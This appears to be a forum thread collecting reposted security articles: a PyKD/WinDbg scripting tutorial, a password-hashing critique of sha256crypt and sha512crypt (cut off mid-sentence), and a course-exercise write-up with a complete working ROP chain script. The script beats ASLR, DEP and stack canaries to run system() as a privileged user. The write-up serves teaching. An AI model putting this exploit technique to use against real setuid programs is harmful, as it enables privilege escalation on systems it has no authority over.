2017 Genymobile Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Articles Introducing “gnirehtet”, a reverse tethering tool for Android (French version) Gnirehtet 2: our reverse tethering tool for Android now available in Rust Gnirehtet rewritten in Rust (French version) Sursa: https://github.com/Genymobile/gnirehtet
  21. PyKD Tutorial – part 1 Published May 25, 2018 by Sιиα K. 0 Using windbg script syntax is such annoying thing that almost all reverse engineers have problems dealing with it but automating debugging gives such a power that can’t be easily ignored. A good solution to solve this problem is using the power and simplicity of Python and Windbg together. If you aware, Windbg also supports c-like binaries as extensions so there is a praiseworthy tool called PyKD which does the hard thing and connects Python and Windbg together in a straight and usable way. The purpose of PyKD, as they mentioned, is : This project can help to automate debugging and crash dump analysis using Python. It allows one to take the best from both worlds: the expressiveness and convenience of Python with the power of WinDbg! You can download PyKD at this link. Setup PyKD To find the main extension binary files, you should find the latest version of the Bootstrapper and download its x86 and x64 versions depending to your needs, after extracting the binary files (pykd.dll) you should load it in Windbg with the following command : .load C:\Users\Sina\Desktop\pykd\x64\pykd.dll 1 .load C:\Users\Sina\Desktop\pykd\x64\pykd.dll In order to see if it successfully loaded or not, you should execute the following command, if you see something like this, then you’re good to go. 0:000> !help usage: !help print this text !info list installed python interpreters !select version change default version of a python interpreter !py [version] [options] [file] run python script or REPL Version: -2 : use Python2 -2.x : use Python2.x -3 : use Python3 -3.x : use Python3.x Options: -g --global : run code in the common namespace -l --local : run code in the isolated namespace -m --module : run module as the __main__ module ( see the python command line option -m ) command samples: "!py" : run REPL "!py --local" : run REPL in the isolated namespace "!py -g script.py 10 "string"" : run a script file with an argument in the commom namespace "!py -m module_name" : run a named module as the __main__ !pip [version] [args] run pip package manager Version: -2 : use Python2 -2.x : use Python2.x -3 : use Python3 -3.x : use Python3.x pip command samples: "pip list" : show all installed packagies "pip install pykd" : install pykd "pip install --upgrade pykd" : upgrade pykd to the latest version "pip show pykd" : show info about pykd package 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 0:000> !help usage: !help print this text !info list installed python interpreters !select version change default version of a python interpreter !py [version] [options] [file] run python script or REPL Version: -2 : use Python2 -2.x : use Python2.x -3 : use Python3 -3.x : use Python3.x Options: -g --global : run code in the common namespace -l --local : run code in the isolated namespace -m --module : run module as the __main__ module ( see the python command line option -m ) command samples: "!py" : run REPL "!py --local" : run REPL in the isolated namespace "!py -g script.py 10 "string"" : run a script file with an argument in the commom namespace "!py -m module_name" : run a named module as the __main__ !pip [version] [args] run pip package manager Version: -2 : use Python2 -2.x : use Python2.x -3 : use Python3 -3.x : use Python3.x pip command samples: "pip list" : show all installed packagies "pip install pykd" : install pykd "pip install --upgrade pykd" : upgrade pykd to the latest version "pip show pykd" : show info about pykd package If you saw the above command suggestions, one of the interesting commands which can be used to update the PyKD is : !pip install --upgrade pykd 1 !pip install --upgrade pykd But actually, I prefer to compile the latest version from its source code rather than updating or using the PyKD.dll directly. That’s enough for the setting up and starting, in the rest of the post, we’re getting started with some useful samples of using PyKD. But the right way to get PyKD is to download its latest release and then find a file named “pykd.pyd” among other DLL files then load .pyd file. Using PyKD Features This section describes the general functions of PyKD. Executing Command The simplest thing is using the PyKD to execute and get the command result, it can be done using the following script in which r is our command and we simply print the result. You can also assign the results to a variable and separate them using Python’s regular string function. import pykd print pykd.dbgCommand("r") 1 2 3 import pykd print pykd.dbgCommand("r") You should save the above script into a file (e.g pykd-script.py) then load it in Windbg using the following command : 0:000> !py c:\users\Sina\desktop\pykd-script.py rax=0000000000000000 rbx=0000000000000010 rcx=00007fffd3d5a434 rdx=0000000000000000 rsi=00007fffd3de4090 rdi=00007fffd3de4740 rip=00007fffd3d8d02c rsp=0000000b419ef3b0 rbp=0000000000000000 r8=0000000b419ef3a8 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000040 r13=0000000000000000 r14=0000000b41a63000 r15=000001d8da130000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrInitShimEngineDynamic+0x34c: 00007fff`d3d8d02c cc int 3 1 2 3 4 5 6 7 8 9 10 11 0:000> !py c:\users\Sina\desktop\pykd-script.py rax=0000000000000000 rbx=0000000000000010 rcx=00007fffd3d5a434 rdx=0000000000000000 rsi=00007fffd3de4090 rdi=00007fffd3de4740 rip=00007fffd3d8d02c rsp=0000000b419ef3b0 rbp=0000000000000000 r8=0000000b419ef3a8 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000040 r13=0000000000000000 r14=0000000b41a63000 r15=000001d8da130000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrInitShimEngineDynamic+0x34c: 00007fff`d3d8d02c cc int 3 As you see the registers’ value is shown above, I usually use these kinds of scripts with t (step in) and p (step) to simulate an instrumenting environment and check what is going on (e.g a combination of instructions and registers’ value and its corresponding memory values.) even though this operation is too slow but still usable for special cases. Getting Registers value A better way of getting registers is using the following sample : import pykd addr = hex(pykd.reg("rsp")) print(addr) 1 2 3 4 5 import pykd addr = hex(pykd.reg("rsp")) print(addr) Continue to run The following command is the equivalent of go in PyKD : pykd.go() 1 pykd.go() Read the content of the memory To read the contents of a special virtual address you should use something like this : import pykd addr = pykd.reg("rip") value = pykd.loadBytes(addr,16) print(value) 1 2 3 4 5 6 import pykd addr = pykd.reg("rip") value = pykd.loadBytes(addr,16) print(value) The result is : 0:010> !py c:\users\Sina\desktop\pykd-script.py [204, 195, 204, 204, 204, 204, 204, 204, 15, 31, 132, 0, 0, 0, 0, 0] 1 2 0:010> !py c:\users\Sina\desktop\pykd-script.py [204, 195, 204, 204, 204, 204, 204, 204, 15, 31, 132, 0, 0, 0, 0, 0] The other variants of Load functions are loadAnsiString,loadBytes,loadCStr,loadChars,loadDWords,loadDoubles and etc. Comparing Memory The following script returns true if the contents of memory in two virtual addresses are equal otherwise the result is false. import pykd addr1 = 0x00007fffd3d31596 addr2 = 0x00007fffd3d31597 result = pykd.compareMemory(addr1,addr2,100) print(result) 1 2 3 4 5 6 import pykd addr1 = 0x00007fffd3d31596 addr2 = 0x00007fffd3d31597 result = pykd.compareMemory(addr1,addr2,100) print(result) Detach As the documentation suggests, pykd.detachAllProcesses() ===> Detach from all process and resume all their threads 1 pykd.detachAllProcesses() ===> Detach from all process and resume all their threads & pykd.detachProcess() ===> Stop process debugging 1 pykd.detachProcess() ===> Stop process debugging Find Nearest Valid Memory Location The following script gives the nearest valid memory location, near to 0x0. import pykd result = pykd.findMemoryRegion(0x0) print(hex(result[0])) 1 2 3 4 5 import pykd result = pykd.findMemoryRegion(0x0) print(hex(result[0])) The result is : 0:003> !py c:\users\Sina\desktop\pykd-script.py 0x5d670000 0:003> dc 0x5d670000 00000000`5d670000 00905a4d 00000003 00000004 0000ffff MZ.............. 00000000`5d670010 000000b8 00000000 00000040 00000000 ........@....... 00000000`5d670020 00000000 00000000 00000000 00000000 ................ 00000000`5d670030 00000000 00000000 00000000 00000128 ............(... 00000000`5d670040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th 00000000`5d670050 70207369 72676f72 63206d61 6f6e6e61 is program canno 00000000`5d670060 65622074 6e757220 206e6920 20534f44 t be run in DOS 00000000`5d670070 65646f6d 0a0d0d2e 00000024 00000000 mode....$....... 1 2 3 4 5 6 7 8 9 10 11 0:003> !py c:\users\Sina\desktop\pykd-script.py 0x5d670000 0:003> dc 0x5d670000 00000000`5d670000 00905a4d 00000003 00000004 0000ffff MZ.............. 00000000`5d670010 000000b8 00000000 00000040 00000000 ........@....... 00000000`5d670020 00000000 00000000 00000000 00000000 ................ 00000000`5d670030 00000000 00000000 00000000 00000128 ............(... 00000000`5d670040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th 00000000`5d670050 70207369 72676f72 63206d61 6f6e6e61 is program canno 00000000`5d670060 65622074 6e757220 206e6920 20534f44 t be run in DOS 00000000`5d670070 65646f6d 0a0d0d2e 00000024 00000000 mode....$....... Finding Function Name If you want to find the what function is located at a special address based on symbols, you should use findSymbol. import pykd result = pykd.findSymbol(0x00007fffd3d5d960) print(result) 1 2 3 4 5 import pykd result = pykd.findSymbol(0x00007fffd3d5d960) print(result) The result is : 0:003> !py c:\users\Sina\desktop\pykd-script.py ntdll!DbgBreakPoint 1 2 0:003> !py c:\users\Sina\desktop\pykd-script.py ntdll!DbgBreakPoint Get Current Stack Frame import pykd result = pykd.getFrame() print(result) 1 2 3 4 5 import pykd result = pykd.getFrame() print(result) The result is : 0:003> !py c:\users\Sina\desktop\pykd-script.py Frame: IP=7fffd3d5d960 Return=7fffd3d89bbb Frame Offset=b41effa70 Stack Offset=b41effa78 0:003> dc rsp 0000000b`41effa78 d3d89bbb 00007fff 00000000 00000000 ................ 0000000b`41effa88 00000000 00000000 00000000 00000000 ................ 0000000b`41effa98 00000000 00000000 00000000 00000000 ................ 0000000b`41effaa8 d18e3034 00007fff 00000000 00000000 40.............. 0000000b`41effab8 00000000 00000000 00000000 00000000 ................ 0000000b`41effac8 00000000 00000000 00000000 00000000 ................ 0000000b`41effad8 d3d31551 00007fff 00000000 00000000 Q............... 0000000b`41effae8 00000000 00000000 00000000 00000000 ................ 1 2 3 4 5 6 7 8 9 10 11 0:003> !py c:\users\Sina\desktop\pykd-script.py Frame: IP=7fffd3d5d960 Return=7fffd3d89bbb Frame Offset=b41effa70 Stack Offset=b41effa78 0:003> dc rsp 0000000b`41effa78 d3d89bbb 00007fff 00000000 00000000 ................ 0000000b`41effa88 00000000 00000000 00000000 00000000 ................ 0000000b`41effa98 00000000 00000000 00000000 00000000 ................ 0000000b`41effaa8 d18e3034 00007fff 00000000 00000000 40.............. 0000000b`41effab8 00000000 00000000 00000000 00000000 ................ 0000000b`41effac8 00000000 00000000 00000000 00000000 ................ 0000000b`41effad8 d3d31551 00007fff 00000000 00000000 Q............... 0000000b`41effae8 00000000 00000000 00000000 00000000 ................ pykd.getStack() also gives a list of stack frame objects. Last Exception import pykd result = pykd.getLastException() print(result) 1 2 3 4 5 import pykd result = pykd.getLastException() print(result) The result is : 0:003> !py c:\users\Sina\desktop\pykd-script.py FirstChance= True ExceptionCode= 0x80000003 ExceptionFlags= 0x0 ExceptionRecord= 0x0 ExceptionAddress= 0x7fffd3d5d960 Param[0]= 0x0 1 2 3 4 5 6 7 0:003> !py c:\users\Sina\desktop\pykd-script.py FirstChance= True ExceptionCode= 0x80000003 ExceptionFlags= 0x0 ExceptionRecord= 0x0 ExceptionAddress= 0x7fffd3d5d960 Param[0]= 0x0 Finding Function Location To get where a special function located you can use the following code : It’s like executing x KERNEL32!CreateFileW in Windbg command-line. import pykd result = pykd.getOffset("KERNEL32!CreateFileW") print(result) 1 2 3 4 5 import pykd result = pykd.getOffset("KERNEL32!CreateFileW") print(result) The result is : 0:003> !py c:\users\Sina\desktop\pykd-script.py 0x7fffd18f0940L 0:003> x kernel32!CreateFileW 00007fff`d18f0940 KERNEL32!CreateFileW (<no parameter info>) 1 2 3 4 5 0:003> !py c:\users\Sina\desktop\pykd-script.py 0x7fffd18f0940L 0:003> x kernel32!CreateFileW 00007fff`d18f0940 KERNEL32!CreateFileW (<no parameter info>) Get System Version import pykd result = pykd.getSystemVersion() print(result) 1 2 3 4 5 import pykd result = pykd.getSystemVersion() print(result) example result : 0:003> !py c:\users\Sina\desktop\pykd-script.py Major Version: 10 Minor Version: 0 Build: 17134 Description: 17134.1.amd64fre.rs4_release.180410-1804 1 2 3 4 5 0:003> !py c:\users\Sina\desktop\pykd-script.py Major Version: 10 Minor Version: 0 Build: 17134 Description: 17134.1.amd64fre.rs4_release.180410-1804 Getting Page Attributes One of the important functions of PyKD is getting the page attributes. import pykd addr1 = pykd.reg("rip") result = pykd.getVaProtect(addr1) print("RIP Attributes : " + str(result)) addr2 = pykd.reg("rsp") result = pykd.getVaProtect(addr2) print("RSP Attributes : " + str(result)) 1 2 3 4 5 6 7 8 9 10 11 12 13 import pykd addr1 = pykd.reg("rip") result = pykd.getVaProtect(addr1) print("RIP Attributes : " + str(result)) addr2 = pykd.reg("rsp") result = pykd.getVaProtect(addr2) print("RSP Attributes : " + str(result)) The result is : 0:003> !py c:\users\Sina\desktop\pykd-script.py RIP Attributes : PageExecuteRead RSP Attributes : PageReadWrite 1 2 3 0:003> !py c:\users\Sina\desktop\pykd-script.py RIP Attributes : PageExecuteRead RSP Attributes : PageReadWrite There is also an important function called isValid which can be used to detect whether a virtual address is valid or not. Reading and writing MSR Register If you are in a kernel debugging, you could read MSR registers using pykd.rdmsr(value). import pykd result = pykd.rdmsr(0x80000082) print(result) 1 2 3 4 5 import pykd result = pykd.rdmsr(0x80000082) print(result) To write on a specific MSR you can use pykd.wrmsr(Address, Value). That’s enough for now, I’ll write the rest of this post another time in part 2, so make sure check blog more frequently. 🙂 The second part is also published here! Sursa: https://rayanfam.com/topics/pykd-tutorial-part1/
  22. ropchain I’m going to show you how to do Project 1 Question 1 while ASLR+DEP+stack canaries are enabled. As a reminder, here’s how the code looks: void deja_vu() { char door[8]; gets(door); } int main() { deja_vu(); } A Chinese translation of this article is available here. ASLR and DEP We will start by defeating ASLR and DEP. The text segment of our dejavu binary will not be randomized, since it is not a position-independent executable. This means we can get around both defenses with a return oriented programming chain. Our solution is broken up into many different steps: Put the address of the system function from libc onto the stack. Put the address of the string "s/kernel/rtsig-max" onto the stack (but possibly far from system). Align the stack pointer to point to "s/kernel/rtsig-max". Align edx to point to &system. Call [edx]. This is equivalent to system("s/kernel/rtsig-max"), which executes an attacker-controlled binary with setuid privileges. The string "s/kernel/rtsig-max" is mostly arbitrary, any string contained in libc which can be treated as a relative Linux path and ends whose address ends in a NUL byte is a valid target. It’s possible to get the string "/bin/sh" on the stack instead, but that makes our attack more complicated. Return Oriented Programming Primer The idea behind return oriented programming is that you place the addresses of “gadgets” onto the stack. These gadgets do some (usually small) operation, and then call ret. Once we ret, that pops the address of the next gadget off the stack and jumps to that address. Our goal is to chain these small gadgets together in order to achieve arbitrary code execution. Effectively, we can think of ROP as letting us jump to any series of addresses we want, as long as the calls doesn’t mess up our stack. Usual suspects for messing up the stack is a leave or anything which changes esp by a lot. There are tools to help find gadgets within executables. This is useful, because sometimes gadgets can even be hidden inside other instructions! Let’s run ROPgadget to see what sort of gadgets we have. $ python ROPgadget.py --binary ../dejavu --badbytes 0a # ... Unique gadgets found: 86 We set a “bad byte” of 0x0a since we know that our gets function cannot write a newline. (It can write NUL bytes.) While we have a bunch of gadgets, most of them suck. Here are the few that we plan to use: 0x0804841c : dec ecx ; ret 0x0804835e : add dh, bl ; ret 0x0804857b : call dword ptr [edx] 0x080482d2 : pop ebx ; ret 0x080482bb : ret Note that the last of these gadgets is effectively a return oriented programming NOP: it just moves the esp up 4 bytes to access the next return address. We’ll see later why it is useful. The Attack We will need to reference the disassembly quite often. Here is the disassembly of the dejavu program, excluding libc parts. deja_vu: 0x0804840c <+0>: push ebp 0x0804840d <+1>: mov ebp,esp 0x0804840f <+3>: sub esp,0x28 0x08048412 <+6>: lea eax,[ebp-0x10] 0x08048415 <+9>: mov DWORD PTR [esp],eax 0x08048418 <+12>: call 0x80482f0 <gets@plt> 0x0804841d <+17>: leave 0x0804841e <+18>: ret main: 0x0804841f <+0>: push ebp 0x08048420 <+1>: mov ebp,esp 0x08048422 <+3>: and esp,0xfffffff0 0x08048425 <+6>: call 0x804840c <deja_vu> 0x0804842a <+11>: mov eax,0x0 0x0804842f <+16>: leave 0x08048430 <+17>: ret Let’s take a look at the stack layout at deja_vu+18 (right before we ret from the function). It looks something like this: /---------------------\ | . . . | | saved return addr. | <--- esp | . . . | | door | <--- eax, edx | . . . | | . . . | | . . . | | libc_end | <--- ecx | . . . | | system | <--- we want this | . . . | | libc_start | <--- ebx | . . . | | . . . | | . . . | | dejavu .text | \---------------------/ Even though libc’s position in code is randomized, ebx and ecx effectively “leak” information about its location. This is a result of the dynamic loader resolving the call to gets@plt. How this occurs is a little complicated, so let’s take it for granted. While the address of libc is randomized by ASLR, the offset of things within libc is not. For example, the system function is always at 0x168494 bytes before libc_end. We want to call this function, so we need to decrease ecx by 0x168494. How can we decrease ecx? We do have a promising gadget which decrements ecx by 1: 0x0804841c : dec ecx ; ret We would need to call this gadget 0x168494 times to get the address of system. (There are no other useful gadgets for either ecx or ebx.) Our available stack space is an order of magnitude less. However, we can use the following trick: we return to main. Because gcc aligns the stack at 16 bytes intervals, we will gain stack space every time we call main. The picture below illustrates the scenario right before main+3 executes: /---------------------\ | . . . | | 4 bytes | <--- old esp | sfp | <--- esp, ebp | 4 bytes | | 4 bytes | | 4 bytes | <--- esp & 0xfffffff0 | . . . | \---------------------/ After we call main, our program continues to call deja_vu. This gives us another opportunity to do a buffer overflow to gain more stack space. By repeating this method a bunch of times, we can get enough stack space to do 0x168494 decrements. We need to perform all the decrements at once since our value for ecx gets overwritten every time gets is called. We perform the same method in order to get the address of "s/kernel/rtsig-max" onto the stack. Once we have ecx pointing to system, we now need to call the address. There is a call gadget call dword ptr [edx]. So we need some way to get the address of the value of ecx into edx. The only place where we have the opportunity to put ecx on the stack is a push ecx in _start. The _start function is called by the operating system before main and effectively loads libc which then begins the main program. _start: 0x08048320 <+0>: xor ebp,ebp 0x08048322 <+2>: pop esi 0x08048323 <+3>: mov ecx,esp 0x08048325 <+5>: and esp,0xfffffff0 0x08048328 <+8>: push eax 0x08048329 <+9>: push esp 0x0804832a <+10>: push edx 0x0804832b <+11>: push 0x80484b0 0x08048330 <+16>: push 0x8048440 0x08048335 <+21>: push ecx 0x08048336 <+22>: push esi 0x08048337 <+23>: push 0x804841f 0x0804833c <+28>: call 0x8048310 <__libc_start_main@plt> 0x08048341 <+33>: hlt In order to have the program run correctly and to push ecx on the stack, we need to jump to _start+9. We could actually jump to anywhere between _start+5 and _start+11, but this will mess up our stack alignment later on. Recall that the return value of gets is stored in edx. We can use some arithmetic in order to get that edx to point one of the system calls. We do have a gadget which involves arithmetic using edx and ebx: 0x0804835e : add dh, bl ; ret If you need a reminder of how x86 registers work, look at the following diagram. /------------------------\ | edx | | | dx | | | dh | dl | \------------------------/ The register edx refers to the whole 32-bit register. The register dx refers to the lower 16-bits of the register. dh and dl refer to the two 8-bit halves of the lower 16-bits. So this gadget lets us change the middle bits of edx however we want. Note we can’t “overflow” dh into the top half of the register, so we cannot actually affect the top bits of edx. There is also a gadget letting us pop into ebx, so we completely control bl. We can load any value we want into ebx by putting it on the stack and then letting it get popped into the register. However this only lets us affect the second least significant byte of edx. Since edx is also the address of the door buffer, we can also change door and also edx by changing our stack pointer. Therefore we can use the same stack trick of returning to main in order to align edx with the address of system. Now we need to align our stack pointer with our executable string so that we can use it as an argument to system. We simply use a ROP NOP (similar to a ret2ret chain): 0x080482bb : ret After a few NOPs, we have that our stack pointer is nearly at the right spot. We finish our ROP chain with the previously mentioned call dword ptr [edx]. gets also terminates this with a NUL byte, which overwrites the LSB of the executable string address. (This is why we chose a string whose LSB was already 0x00.) Now we are in a ret2libc scenario: we are calling system with a pointer to a string on the stack. This runs the program as uid brown, which allows us to do whatever we want. Stack Canaries Let’s say that we also add stack canaries. How much more difficult does this make our exploit? Debian systems always set the least significant byte of the canary to 0x00, and so we only have 24 bits of entropy. We stay with the constant guess of 0x41414100 as the stack canary, and simply keep running until we get that. An efficient C program using syscalls can get on the order of 2500 tries per second. Based on this, we can estimate that our program will take approximately 1.2 hours to crack the canary. Closing Thoughts The final ropchain is listed in ropchain.py below. The code can be modified to create the necessary directories and executable automatically, and to work when stack canaries are enabled. #!/usr/bin/env python2 # ropchain.py from struct import pack p = lambda n: pack("<I", n) sc = [] PAD = 'A' * 20 DEC_ECX = p(0x0804841c) RET_MAIN = p(0x0804841f) RET_START = p(0x08048320 + 9) POP_EBX = p(0x080482d2) ADD_DH_BL = p(0x0804835e) CALL_STAR_EDX = p(0x0804857b) ROP_NOP = p(0x080482bb) NEWLINE = '\n' GET_16B = PAD + RET_MAIN + NEWLINE OFFSET_BINARY = 0x450c4 OFFSET_SYSTEM = 0x168494 def load_libc_address(offset): sc.extend([GET_16B] * ((offset + 3) / 4)) sc.append(PAD) sc.extend([DEC_ECX] * offset) sc.append(RET_START) sc.append(NEWLINE) load_libc_address(OFFSET_SYSTEM) load_libc_address(OFFSET_BINARY) sc.extend([GET_16B] * 3) sc.append(PAD + POP_EBX + p(1)) sc.append(ADD_DH_BL) sc.extend([ROP_NOP] * 15) sc.append(CALL_STAR_EDX) sc.append(NEWLINE) print(''.join(sc)) Sursa: http://www.kvakil.me/posts/ropchain/
  23. Do Not Use sha256crypt / sha512crypt - They're Dangerous Introduction I'd like to demonstrate why I think using sha256crypt or sha512crypt on current GNU/Linux operating systems is dangerous, and why I think the developers of GLIBC should move to scrypt or Argon2, or at least bcrypt or PBKDF2. History and md5crypt In 1994, Poul-Henning Kamp (PHK) added md5crypt to FreeBSD to address the weaknesses of DES-crypt that was common on the Unix and BSD systems of the early 1990s. DES-Crypt has a core flaw in that, not only DES reversible (which necessarily isn't a problem here), and incredibly fast, but it also limited password length to 8 characters (each of those limited to 7-bit ASCII to create a 56-bit DES key). When PHK created md5crypt, one of the things he made sure to implement as a feature was to support arbitrary-length passwords. In other words, unlike DES-Crypt, a user could have passwords greater than 9 or more characters. This was "good enough" for 1994, but it had an interesting feature that I don't think PHK thought of at the time- md5crypt execution time is dependent on password length. To prove this, I wrote a simple Python script using passlib to hash passwords with md5crypt. I started with a single "a" character as my password, then increased the password length by appending more "a"s up until the password was 4,096 "a"s total. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import time from passlib.hash import md5_crypt md5_results = [None] * 4096 for i in xrange(0, 4096): print i, pw = "a" * (i+1) start = time.clock() md5_crypt.hash(pw) end = time.clock() md5_results[i] = end - start with open("md5crypt.txt", "w") as f: for i in xrange(0, 4096): f.write("{0} {1}\n".format(i+1, md5_results[i])) Nothing fancy. Start the timer, hash one "a" with md5crypt, stop the timer, and record the results. Start the timer, hash two "a"s with md5crypt, stop the timer, and record the results. Wash, rinse, repeat, until the password is 4,096 "a"s in length. What do the timing results look like? Below are scatter plots of timing md5crypt for passwords of 1-128, 1-512, and 1-4,096 characters in length: md5crypt 1-128 characters md5crypt 1-512 characters md5crypt 1-4,096 characters At first, you wouldn't think this is a big deal; in fact, you may even think you LIKE it (we're supposed to make things get slower, right? That's a good thing, right???). But, upon deeper inspection, this actually is a flaw in the algorithm's design for two reasons: Long passwords can create a denial-of-service on the CPU (larger concern). Passive observation of execution times can predict password length (smaller concern). Now, to be fair, predicting password length based on execution time is ... meh. Let's be honest, the bulk of passwords will be between 7-10 characters. And because these algorithms operate in block sizes of 16, 32, or 64 bytes, an adversary learning "AHA! I know your password is between 1-16 characters" really isn't saying much. But, should this even exist in a cryptographic primitive? Probably not. Still, the larger concern would be users creating a DoS on the CPU, strictly by changing password length. I know what you're thinking- it's 2018, so there should be no reason why any practical length password cannot be adequately hashed with md5crypt insanely quickly, and you're right. Except, md5crypt was invented in 1994, 24 years ago. According to PHK, he designed it to take about 36 milliseconds on the hardware he was testing, which would mean a speed about 28 per second. So, it doesn't take much to see that by increasing the password's length, you can increase execution time enough to affect a busy authentication server. The question though, is why? Why is the execution time dependent on password length? This is because md5crypt processes the hash for every 16 bytes in the password. As a result, this creates the stepping behavior you see in the scatter plots above. A good password hashing design would not do this. PHK eventually sunset md5crypt in 2012 with CVE-2012-3287. Jeremi Gosney, a professional password cracker, demonstrated with Hashcat and 8 clustered Nvidia GTX 1080Ti GPUS, that a password cracker could rip through 128.4 million md5crypt guesses per second. You should no longer be implementing md5crypt for your password hashing. sha2crypt and NIH syndrome In 2007, Ulrich Drepper decided to improve things for GNU/Linux. He recognized the threat that GPU clusters, and even ASICs, posed on fast password cracking with md5crypt. One aspect of md5crypt was the hard-coded 1,000 iterations spent on the CPU, before the password hash was finalized. This cost was not configurable. Also, MD5 was already considered broken, with SHA-1 showing severe weaknesses, so he moved to SHA-2 for the core of his design. The first thing addressed, was to make the cost configurable, so as hardware improved, you could increase the iteration count, thus keeping the cost for calculating the final hash expensive for password crackers. However, he also made a couple core changes to his design that differed from md5crypt, which ended up having some rather drastic effects on its execution. Using code similar to above with Python's passlib, but rather using the sha256_crypt() and sha512_crypt() functions, we can create scatter plots of sha256crypt and sha512crypt for passwords up to 128-characters, 512-characters, and 4,096-characters total, just like we did weth md5crypt. How do they fall out? Take a look: sha256crypt 1-128 characters sha256crypt 1-512 characters sha256crypt 1-4,096 characters sha512crypt 1-128 characters sha512crypt 1-512 characters sha512crypt 1-4,096 characters Curious. Not only do we see the same increasing execution time based on password length, but unlike md5crypt, that growth is polynomial. The changes Ulrich Drepper made from md5crypt are subtle, but critical. Essentially, not only do we process the hash for every character in the password per round, like md5crypt, but we process every character in the password three more times. First, we take the binary representation of each bit in the password, and update the hash based on if we see a "1" or a "0". Second, for every character in the password, we update the hash. Finally, again, for every character in the password, we update the hash. For those familiar with big-O notation, we end up with an execution run time of O(pw_length2 + pw_length*iterations). Now, while it is true that we want our password hashing functions to be slow, we also want the iterative cost to be the driving factor in that decision, but that isn't the case with md5crypt, and it's not the case with sha256crypt nor sha512crypt. In all three cases, the password length is the driving factor in the execution time, not the iteration count. Again, why is this a problem? To remind you: Long passwords can create a denial-of-service on the CPU (larger concern). Passive observation of execution times can predict password length (smaller concern). Now, granted, in practice, people aren't carrying around 4 kilobyte passwords. If you are a web service provider, you probably don't want people uploading 5 gigabyte "passwords" to your service, creating a network denial of service. So you would probably be interested in creating an adequate password maximum, such as what NIST recommends at 128 characters, to prevent that from occurring. However, if you have an adequate iterative cost (such as say, 640,000 rounds), then even moderately large passwords from staff, where such limits may not be imposed, could create a CPU denial of service on busy authentication servers. As with md5crypt, we don't want this. Now, here's what I find odd about Ulrich Drepper, and his design. In his post, he says about his specification (emphasis mine): Well, there is a problem. I can already hear everybody complaining that I suffer from the NIH syndrome but this is not the reason. The same people who object to MD5 make their decisions on what to use also based on NIST guidelines. And Blowfish is not on the lists of the NIST. Therefore bcrypt() does not solve the problem. What is on the list is AES and the various SHA hash functions. Both are viable options. The AES variant can be based upon bcrypt(), the SHA variant could be based on the MD5 variant currently implemented. Since I had to solve the problem and I consider both solutions equally secure I went with the one which involves less code. The solution we use is based on SHA. More precisely, on SHA-256 and SHA-512. PBKDF2 was standardized as an IETF standard in September 2000, a full 7 years before Ulrich Drepper created his password hashing functions. While PBKDF2 as a whole would not be blessed by NIST until 3 years later, in December 2010 in SP 800-132, PBKDF2 can be based on functions that, as he mentioned, were already in the NIST standards. So, just like his special design that is based on SHA-2, PBKDF2 can be based on SHA-2. Where he said "I went with the one which involves less code", he should have gone with PBKDF2, as code had already long since existed in all sorts of cryptographic software, including OpenSSL. This seems to be a very clear case of NIH syndrome. Sure, I understand not wanting to go with bcrypt, as it's not part of the NIST standards . But don't roll your own crypto either, when algorithms already exist for this very purpose, that ARE based on designs that are part of NIST. So, how does PBKDF2-HMAC-SHA512 perform? Using similar Python code with the passlib password hashing library, it was trivial to put together: PBKDF2-HMAC-SHA512 1-128 characters PBKDF2-HMAC-SHA512 1-512 characters PBKDF2-HMAC-SHA512 1-4,096 characters What this clearly demonstrates, is that the only factor driving execution time, is the number of iterations you apply to the password, before delivering the final password hash. This is what you want to achieve, not giving the opportunity for a user to create a denial-of-service based on password length, nor an adversary learn the length of the user's password based on execution time. This is the sort of details that a cryptographer or cryptography expert would pay attention to, as opposed to an end-developer. It's worth pointing out that PBKDF2-HMAC-SHA512 is the default password hashing function for Mac OS X, with a variable cost between 30,000 and 50,000 iterations (typical PBKDF2 default is 1,000). OpenBSD, USENIX, and bcrypt Because Ulrich Drepper brought up bcrypt, it's worth mentioning in this post. First off, let's get something straight- bcrypt IS NOT Blowfish. While it's true that bcrypt is based on Blowfish, they are two completely different cryptographic primitives. bcrypt is a one-way cryptographic password hashing function, where as Blowfish is a two-way 64-bit block symmetric cipher. At the 1999 USENIX conference, Niels Provos and David Mazières, of OpenBSD, introduced bcrypt to the world. They were critical of md5crypt, stating the following (emphasis mine): MD5 crypt hashes the password and salt in a number of different combinations to slow down the evaluation speed. Some steps in the algorithm make it doubtful that the scheme was designed from a cryptographic point of view--for instance, the binary representation of the password length at some point determines which data is hashed, for every zero bit the first byte of the password and for every set bit the first byte of a previous hash computation. PHK was slightly offended by their off-handed remark that cryptography was not his core consideration when designing md5crypt. However, Niels Provos was a graduate student in the Computer Science PhD program at the University of Michigan at the time. By August 2003, he had earned his PhD. Since 1999, bcrypt has withstood the test of time, it has been considered "Best Practice" for hashing passwords, and is still well received today, even though better algorithms exist for hashing passwords. How does bcrypt compare to md5crypt, sha256crypt, and sha512crypt in execution time based on password length? bcrypt 1-128 characters bcrypt 1-512 characters bcrypt 1-4,096 characters Again, we see consistent execution, driven entirely by iteration cost, not by password length. Colin Percival, Tarsnap, and scrypt In May 2009, mathematician Dr. Colin Percival presented to BSDCan'09 about a new adaptive password hashing function called scrypt, that was not only CPU expensive, but RAM expensive as well. The motivation was that even though bcrypt and PBKDF2 are CPU-intensive, FPGAs or ASICs could be built to work through the password hashes much more quickly, due to not requiring much RAM, around 4 KB. By adding a memory cost, in addition to a CPU cost to the password hashing function, we can now require the FPGA and ASIC designers to onboard a specific amount of RAM, thus financially 